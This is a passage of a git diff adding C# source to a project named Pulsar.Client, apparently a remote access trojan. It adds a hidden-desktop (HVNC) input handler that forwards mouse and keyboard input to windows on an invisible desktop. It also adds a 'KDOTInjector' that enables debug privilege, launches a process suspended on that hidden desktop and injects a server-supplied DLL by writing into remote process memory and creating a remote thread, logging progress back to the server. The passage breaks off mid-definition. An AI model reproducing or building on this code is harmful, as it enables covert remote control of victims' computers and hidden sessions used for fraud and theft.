dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll")] + private static extern IntPtr WindowFromPoint(POINT point); + + [DllImport("user32.dll")] + private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); + + [DllImport("user32.dll")] + private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint); + + [DllImport("user32.dll")] + private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point); + + [DllImport("user32.dll")] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("user32.dll")] + private static extern bool PtInRect(ref RECT lprc, POINT pt); + + [DllImport("user32.dll")] + private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); + + [DllImport("user32.dll")] + private static extern int GetWindowLong(IntPtr hWnd, int nIndex); + + [DllImport("user32.dll")] + private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl); + + [DllImport("user32.dll")] + private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); + + [DllImport("user32.dll")] + private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt); + + [DllImport("user32.dll")] + private static extern int GetMenuItemID(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType); + + [DllImport("user32.dll")] + private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); + + [DllImport("user32.dll")] + private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool IsWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags); + + [DllImport("user32.dll")] + private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + + [DllImport("user32.dll")] + private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect); + + [DllImport("user32.dll")] + private static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + + [DllImport("user32.dll")] + private static extern short GetKeyState(int nVirtKey); + + [DllImport("user32.dll")] + private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState, + [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, + int cchBuff, uint wFlags); + + [DllImport("user32.dll")] + private static extern bool GetKeyboardState(byte[] lpKeyState); + + private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); + + #endregion + + #region Constants + + // Window style constants + private const int GWL_STYLE = -16; + private const int WS_DISABLED = 0x8000000; + + // Window message constants + private const int WM_CHAR = 0x0102; + private const int WM_KEYDOWN = 0x0100; + private const int WM_KEYUP = 0x0101; + private const int WM_LBUTTONUP = 0x0202; + private const int WM_LBUTTONDOWN = 0x0201; + private const int WM_MOUSEMOVE = 0x0200; + private const int WM_CLOSE = 0x0010; + private const int WM_SYSCOMMAND = 0x0112; + private const int WM_NCHITTEST = 0x0084; + private const int WM_RBUTTONUP = 0x0205; + private const int WM_RBUTTONDOWN = 0x0204; + private const int WM_DESTROY = 0x0002; + + // Mouse button constants + private const int MK_LBUTTON = 0x0001; + private const int MK_RBUTTON = 0x0002; + + // System command constants + private const int SC_MINIMIZE = 0xF020; + private const int SC_RESTORE = 0xF120; + private const int SC_MAXIMIZE = 0xF030; + + // Hit test area constants + private const int HTCAPTION = 2; + private const int HTTOP = 12; + private const int HTBOTTOM = 15; + private const int HTLEFT = 10; + private const int HTRIGHT = 11; + private const int HTTOPLEFT = 13; + private const int HTTOPRIGHT = 14; + private const int HTBOTTOMLEFT = 16; + private const int HTBOTTOMRIGHT = 17; + private const int HTCLOSE = 20; + private const int HTMINBUTTON = 8; + private const int HTMAXBUTTON = 9; + private const int HTTRANSPARENT = -1; + + // Window enumeration constants + private const uint GW_HWNDPREV = 3; + private const uint GW_HWNDNEXT = 2; + + // Miscellaneous constants + private const int VK_RETURN = 0x0D; + private const int MN_GETHMENU = 0x01E1; + private const int BM_CLICK = 0x00F5; + private const int MAX_PATH = 260; + private const int SW_SHOWMAXIMIZED = 3; + private const int SW_RESTORE = 9; + + private const int VK_SHIFT = 0x10; + private const int VK_CONTROL = 0x11; + private const int VK_MENU = 0x12; // Alt key + private const int VK_LSHIFT = 0xA0; + private const int VK_RSHIFT = 0xA1; + private const int VK_LCONTROL = 0xA2; + private const int VK_RCONTROL = 0xA3; + private const int VK_LMENU = 0xA4; // Left Alt + private const int VK_RMENU = 0xA5; // Right Alt + private const int VK_CAPITAL = 0x14; // Caps Lock + + #endregion + + #region Fields and Properties + + private readonly string desktopName; + private bool isMovingWindow = false; + private POINT lastClickCoords = new POINT { x = 0, y = 0 }; + private POINT lastWindowDimensions = new POINT { x = 0, y = 0 }; + private IntPtr windowToMove = IntPtr.Zero; + private IntPtr workingWindow = IntPtr.Zero; + private static readonly object syncLock = new object(); + + private bool isShiftPressed = false; + private bool isControlPressed = false; + private bool isAltPressed = false; + private bool isCapsLockOn = false; + + /// + /// Gets the desktop handle. + /// + public IntPtr Desktop { get; private set; } = IntPtr.Zero; + + #endregion + + #region Constructor and Dispose + + /// + /// Initializes a new instance of the class. + /// + /// The name of the desktop to handle input for. + public InputHandler(string desktopName) + { + this.desktopName = desktopName; + IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL); + if (desktopHandle == IntPtr.Zero) + { + desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); + } + this.Desktop = desktopHandle; + + InitializeModifierKeyStates(); + } + + /// + /// Releases all resources used by the InputHandler. + /// + public void Dispose() + { + CloseDesktop(this.Desktop); + GC.Collect(); + } + + #endregion + + #region Keyboard Helper Methods + + /// + /// Initializes the modifier key states by checking the current system state. + /// + private void InitializeModifierKeyStates() + { + isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; + isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0; + isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0; + isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; + } + + /// + /// Handles keyboard input with proper modifier tracking and character conversion. + /// + /// The keyboard message + /// The wParam containing the virtual key code + /// The original lParam + /// The target window to send messages to + private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow) + { + int virtualKey = wParam.ToInt32(); + + UpdateModifierKeyState(msg, virtualKey); + + if (msg == WM_KEYDOWN) + { + if (IsModifierKey(virtualKey)) + { + IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, modifierLParam); + return; + } + + char[] chars = VirtualKeyToChar(virtualKey); + bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0'); + + if (isPrintableChar) + { + IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam); + foreach (char ch in chars) + { + if (ch != '\0') + { + PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam); + } + } + } + else + { + IntPtr properLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, properLParam); + } + } + else if (msg == WM_KEYUP) + { + IntPtr properLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, properLParam); + } + else if (msg == WM_CHAR) + { + PostMessage(targetWindow, msg, wParam, lParam); + } + } + + /// + /// Updates the internal modifier key state tracking. + /// + /// The keyboard message + /// The virtual key code + private void UpdateModifierKeyState(uint msg, int virtualKey) + { + bool keyDown = (msg == WM_KEYDOWN); + + switch (virtualKey) + { + case VK_SHIFT: + case VK_LSHIFT: + case VK_RSHIFT: + isShiftPressed = keyDown; + break; + + case VK_CONTROL: + case VK_LCONTROL: + case VK_RCONTROL: + isControlPressed = keyDown; + break; + + case VK_MENU: + case VK_LMENU: + case VK_RMENU: + isAltPressed = keyDown; + break; + + case VK_CAPITAL: + if (keyDown) + { + isCapsLockOn = !isCapsLockOn; + } + break; + } + } + + /// + /// Converts a virtual key to its character representation considering modifier states. + /// + /// The virtual key code + /// Array of characters, or null if not a printable character + private char[] VirtualKeyToChar(int virtualKey) + { + if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey)) + { + return null; + } + + byte[] keyboardState = new byte[256]; + + if (isShiftPressed) + { + keyboardState[VK_SHIFT] = 0x80; + } + + if (isControlPressed) + { + keyboardState[VK_CONTROL] = 0x80; + } + + if (isAltPressed) + { + keyboardState[VK_MENU] = 0x80; + } + + if (isCapsLockOn) + { + keyboardState[VK_CAPITAL] = 0x01; + } + + + var buffer = new StringBuilder(64); + uint scanCode = MapVirtualKey((uint)virtualKey, 0); + + int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0); + + if (result > 0) + { + return buffer.ToString().Substring(0, result).ToCharArray(); + } + + return null; + } + + /// + /// Determines if a virtual key is a modifier key. + /// + /// The virtual key code + /// True if the key is a modifier key + private bool IsModifierKey(int virtualKey) + { + switch (virtualKey) + { + case VK_SHIFT: + case VK_LSHIFT: + case VK_RSHIFT: + case VK_CONTROL: + case VK_LCONTROL: + case VK_RCONTROL: + case VK_MENU: + case VK_LMENU: + case VK_RMENU: + case VK_CAPITAL: + return true; + default: + return false; + } + } + + /// + /// Determines if a virtual key is a non-printable key (function keys, arrows, etc.). + /// + /// The virtual key code + /// True if the key is non-printable + private bool IsNonPrintableKey(int virtualKey) + { + if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true; + + switch (virtualKey) + { + case 0x21: // VK_PRIOR (Page Up) + case 0x22: // VK_NEXT (Page Down) + case 0x23: // VK_END + case 0x24: // VK_HOME + case 0x25: // VK_LEFT + case 0x26: // VK_UP + case 0x27: // VK_RIGHT + case 0x28: // VK_DOWN + case 0x2D: // VK_INSERT + case 0x2E: // VK_DELETE + case 0x5B: // VK_LWIN + case 0x5C: // VK_RWIN + case 0x5D: // VK_APPS + case 0x91: // VK_SCROLL + case 0x90: // VK_NUMLOCK + case 0x0D: // VK_RETURN (Enter) + case 0x1B: // VK_ESCAPE + case 0x09: // VK_TAB + case 0x08: // VK_BACK (Backspace) + return true; + default: + return false; + } + } + + /// + /// Builds the appropriate lParam value for keyboard messages. + /// + /// The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR) + /// The wParam containing the virtual key code + /// The properly formatted lParam for the keyboard message + private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam) + { + int vk = wParam.ToInt32(); + uint scanCode = MapVirtualKey((uint)vk, 0); + + int lParam = 0; + + lParam |= 1; + + lParam |= (int)(scanCode << 16); + + if (IsExtendedKey(vk)) + { + lParam |= (1 << 24); + } + + if (message == WM_KEYUP) + { + lParam |= (1 << 30); + lParam |= (1 << 31); + } + + return new IntPtr(lParam); + } + + /// + /// Determines if a virtual key code represents an extended key. + /// + /// The virtual key code + /// True if the key is an extended key + private bool IsExtendedKey(int virtualKey) + { + switch (virtualKey) + { + case 0x21: // VK_PRIOR (Page Up) + case 0x22: // VK_NEXT (Page Down) + case 0x23: // VK_END + case 0x24: // VK_HOME + case 0x25: // VK_LEFT + case 0x26: // VK_UP + case 0x27: // VK_RIGHT + case 0x28: // VK_DOWN + case 0x2D: // VK_INSERT + case 0x2E: // VK_DELETE + case 0x5B: // VK_LWIN + case 0x5C: // VK_RWIN + case 0x5D: // VK_APPS + case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT) + case 0xA1: // VK_RSHIFT + case 0xA2: // VK_LCONTROL + case 0xA3: // VK_RCONTROL + case 0xA4: // VK_LMENU (Left Alt) + case 0xA5: // VK_RMENU (Right Alt) + case 0x91: // VK_SCROLL + return true; + default: + return false; + } + } + + #endregion + + #region Helper Methods + + /// + /// Gets the X coordinate from an lParam. + /// + public static int GetXCoordinate(IntPtr lParam) + { + return (int)((short)(lParam.ToInt32() & 0xFFFF)); + } + + /// + /// Gets the Y coordinate from an lParam. + /// + public static int GetYCoordinate(IntPtr lParam) + { + return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF)); + } + + /// + /// Creates an lParam from X and Y coordinates. + /// + public static IntPtr MakeLParam(int lowWord, int highWord) + { + return new IntPtr(highWord << 16 | (lowWord & 0xFFFF)); + } + + /// + /// Calculates relative coordinates from screen to window + /// + private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight) + { + int relativeX = screenX - windowX; + int relativeY = screenY - windowY; + + if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight) + return new POINT { x = relativeX, y = relativeY }; + else + return new POINT { x = -1, y = -1 }; + } + + #endregion + + #region Input Processing + + /// + /// Processes an input message and sends it to the appropriate window. + /// + /// The message to process. + /// The wParam of the message. + /// The lParam of the message. + public void Input(uint msg, IntPtr wParam, IntPtr lParam) + { + lock (syncLock) + { + SetThreadDesktop(this.Desktop); + + // Handle mouse messages + if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP || + msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP || + msg == WM_MOUSEMOVE) + { + int x = GetXCoordinate(lParam); + int y = GetYCoordinate(lParam); + POINT cursorPosition = new POINT { x = x, y = y }; + + bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP); + bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP); + + if (isMovingWindow && isUp && isLeft) + { + // If we were moving a window and now released the button, complete the move + SetWindowPos(windowToMove, IntPtr.Zero, + x - lastClickCoords.x, + y - lastClickCoords.y, + lastWindowDimensions.x, + lastWindowDimensions.y, + 0); + isMovingWindow = false; + } + + // Get the window under the cursor + IntPtr hwnd = WindowFromPoint(cursorPosition); + workingWindow = hwnd; + + if (hwnd != IntPtr.Zero) + { + // Get window information + RECT windowRect; + GetWindowRect(hwnd, out windowRect); + + // Calculate window position and size + int windowX = windowRect.left; + int windowY = windowRect.top; + int windowWidth = windowRect.right - windowRect.left; + int windowHeight = windowRect.bottom - windowRect.top; + + // Calculate position relative to window + POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight); + + // Get hit test result to determine what part of the window was clicked + IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam); + int hitTestResultInt = hitTestResult.ToInt32(); + + if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP) + { + // Close button clicked + Debug.WriteLine("Closing window"); + PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero); + } + else if (hitTestResultInt == HTCAPTION) + { + // Title bar clicked + if (!isUp && isLeft && msg == WM_LBUTTONDOWN) + { + // Start window move operation + lastClickCoords = clickCoords; + lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight }; + isMovingWindow = true; + windowToMove = hwnd; + Debug.WriteLine("Starting window move"); + } + } + else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP) + { + // Maximize/Restore button clicked + WINDOWPLACEMENT windowPlacement = default; + windowPlacement.length = Marshal.SizeOf(windowPlacement); + GetWindowPlacement(hwnd, ref windowPlacement); + + if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0) + { + Debug.WriteLine("Restoring window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero); + } + else + { + Debug.WriteLine("Maximizing window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero); + } + } + else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP) + { + // Minimize button clicked + Debug.WriteLine("Minimizing window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero); + } + else + { + // Regular window area clicked - forward the mouse message + IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON); + IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y); + PostMessage(hwnd, msg, param, translatedLParam); + } + } + } + // Handle keyboard messages + if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR) + { + if (workingWindow != IntPtr.Zero) + { + HandleKeyboardInput(msg, wParam, lParam, workingWindow); + } + } + } + } + + #endregion + + #region Nested Types + + /// + /// Desktop access rights flags. + /// + private enum DESKTOP_ACCESS : uint + { + DESKTOP_NONE, + DESKTOP_READOBJECTS, + DESKTOP_CREATEWINDOW, + DESKTOP_CREATEMENU = 4U, + DESKTOP_HOOKCONTROL = 8U, + DESKTOP_JOURNALRECORD = 16U, + DESKTOP_JOURNALPLAYBACK = 32U, + DESKTOP_ENUMERATE = 64U, + DESKTOP_WRITEOBJECTS = 128U, + DESKTOP_SWITCHDESKTOP = 256U, + GENERIC_ALL = 511U + } + + /// + /// Represents a point (x,y coordinates). + /// + public struct POINT + { + public int x; + public int y; + } + + /// + /// Represents a rectangle. + /// + public struct RECT + { + public int left; + public int top; + public int right; + public int bottom; + } + + /// + /// Contains information about the placement of a window. + /// + public struct WINDOWPLACEMENT + { + public int length; + public int flags; + public int showCmd; + public POINT ptMinPosition; + public POINT ptMaxPosition; + public RECT rcNormalPosition; + } + + #endregion + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/KDOTInjector.cs b/Pulsar.Client/Helper/HVNC/KDOTInjector.cs new file mode 100644 index 0000000..1352375 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/KDOTInjector.cs @@ -0,0 +1,857 @@ +ο»Ώusing Pulsar.Client.LoggingAPI; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper.HVNC +{ + internal class KDOTInjector + { + /// + /// Starts the reflective DLL injection process + /// + /// The DLL bytes to inject (received from server) + /// Path to the executable to start and inject into + /// Pattern to search for in the target process + /// Replacement path for the search pattern + /// Process ID of the started process, or 0 if failed + public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath) + { + try + { + if (dllBytes == null || dllBytes.Length == 0) + { + UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided"); + return 0; + } + + if (string.IsNullOrWhiteSpace(exePath)) + { + UniversalDebugLogger.SendLogToServer("[-] No target executable specified"); + return 0; + } + + if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath)) + { + UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required"); + return 0; + } + + UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection"); + UniversalDebugLogger.SendLogToServer($" Target: {exePath}"); + UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}"); + UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes"); + + PrivilegeManager.EnableDebugPrivilege(); + + var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath); + if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero) + { + UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process"); + return 0; + } + + int processId = process.Id; + UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}"); + + try + { + bool success = Injector.InjectDllWithHandle(hProcess, dllBytes); + if (success) + { + UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}"); + UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}"); + } + else + { + UniversalDebugLogger.SendLogToServer("[-] Injection failed"); + Injector.CloseHandle(hProcess); + Injector.CloseHandle(hThread); + if (!process.HasExited) + { + process.Kill(); + } + return 0; + } + } + finally + { + Injector.CloseHandle(hProcess); + } + + UniversalDebugLogger.SendLogToServer("[+] Resuming main thread..."); + ProcessManager.ResumeThreadExP(hThread); + Injector.CloseHandle(hThread); + + UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes."); + return processId; + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}"); + return 0; + } + } + } + + /// + /// Manages process creation and interaction + /// + internal static class ProcessManager + { + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool CreateProcess( + string lpApplicationName, + string lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + bool bInheritHandles, + uint dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref STARTUPINFO lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public int cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public int dwX; + public int dwY; + public int dwXSize; + public int dwYSize; + public int dwXCountChars; + public int dwYCountChars; + public int dwFillAttribute; + public int dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + private const uint CREATE_SUSPENDED = 0x00000004; + private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; + private const int STARTF_USEPOSITION = 0x00000004; + + public static Process StartProcessNormal(string exePath) + { + if (!File.Exists(exePath)) + { + Debug.WriteLine($"[-] Executable not found: {exePath}"); + return null; + } + + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = exePath, + UseShellExecute = false, + WorkingDirectory = Path.GetDirectoryName(exePath) + }; + + Process process = Process.Start(psi); + return process; + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); + return null; + } + } + + private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath) + { + var envVars = Environment.GetEnvironmentVariables(); + + var envDict = new Dictionary(); + foreach (System.Collections.DictionaryEntry entry in envVars) + { + envDict[entry.Key.ToString()] = entry.Value.ToString(); + } + + envDict["RDI_SEARCH_PATH"] = searchPath; + envDict["RDI_REPLACE_PATH"] = replacePath; + + var envList = new List(); + foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase)) + { + envList.Add($"{kvp.Key}={kvp.Value}"); + } + + string envBlock = string.Join("\0", envList) + "\0\0"; + + byte[] envBytes = Encoding.Unicode.GetBytes(envBlock); + + IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length); + Marshal.Copy(envBytes, 0, envPtr, envBytes.Length); + + return envPtr; + } + + public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath) + { + if (!File.Exists(exePath)) + { + Debug.WriteLine($"[-] Executable not found: {exePath}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + + IntPtr envBlock = IntPtr.Zero; + + try + { + STARTUPINFO si = new STARTUPINFO(); + si.cb = Marshal.SizeOf(si); + si.lpDesktop = "PulsarDesktop"; + + si.dwX = 0; + si.dwY = 0; + si.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION pi; + + string commandLine = $"\"{exePath}\" --window-position=0,0"; + + envBlock = CreateEnvironmentBlock(searchPath, replacePath); + + Debug.WriteLine($"[*] Setting environment variables:"); + Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}"); + Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}"); + + bool success = CreateProcess( + null, + commandLine, + IntPtr.Zero, + IntPtr.Zero, + false, + CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, + envBlock, + Path.GetDirectoryName(exePath), + ref si, + out pi); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[-] Failed to create process. Error: {error}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + + Process process = Process.GetProcessById((int)pi.dwProcessId); + + return (process, pi.hProcess, pi.hThread); + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + finally + { + if (envBlock != IntPtr.Zero) + { + Marshal.FreeHGlobal(envBlock); + } + } + } + + public static void ResumeThreadExP(IntPtr hThread) + { + if (hThread != IntPtr.Zero) + { + uint suspendCount = ResumeThread(hThread); + if (suspendCount == unchecked((uint)-1)) + { + Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}"); + } + } + } + } + + /// + /// Manages Windows privileges (SeDebugPrivilege) + /// + internal static class PrivilegeManager + { + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken( + IntPtr ProcessHandle, + uint DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool LookupPrivilegeValue( + string lpSystemName, + string lpName, + out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges( + IntPtr TokenHandle, + bool DisableAllPrivileges, + ref TOKEN_PRIVILEGES NewState, + uint BufferLength, + IntPtr PreviousState, + IntPtr ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const uint TOKEN_QUERY = 0x0008; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const string SE_DEBUG_NAME = "SeDebugPrivilege"; + + [StructLayout(LayoutKind.Sequential)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID_AND_ATTRIBUTES Privileges; + } + + public static void EnableDebugPrivilege() + { + try + { + IntPtr hToken; + if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken)) + { + TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = new LUID_AND_ATTRIBUTES + { + Attributes = SE_PRIVILEGE_ENABLED + } + }; + + if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid)) + { + AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); + } + + CloseHandle(hToken); + } + } + catch + { + // windows basically just gave us the middle finger + } + } + } + + /// + /// Handles DLL injection using reflective loading + /// + internal static class Injector + { + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, + bool bInheritHandle, + int processId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + AllocationType flAllocationType, + MemoryProtection flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + uint nSize, + out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + private static extern IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + out IntPtr lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hObject); + + private const uint INFINITE = 0xFFFFFFFF; + + [Flags] + private enum ProcessAccessFlags : uint + { + PROCESS_CREATE_THREAD = 0x0002, + PROCESS_QUERY_INFORMATION = 0x0400, + PROCESS_VM_OPERATION = 0x0008, + PROCESS_VM_WRITE = 0x0020, + PROCESS_VM_READ = 0x0010, + All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ + } + + [Flags] + private enum AllocationType : uint + { + MEM_COMMIT = 0x1000, + MEM_RESERVE = 0x2000 + } + + [Flags] + private enum MemoryProtection : uint + { + PAGE_EXECUTE_READWRITE = 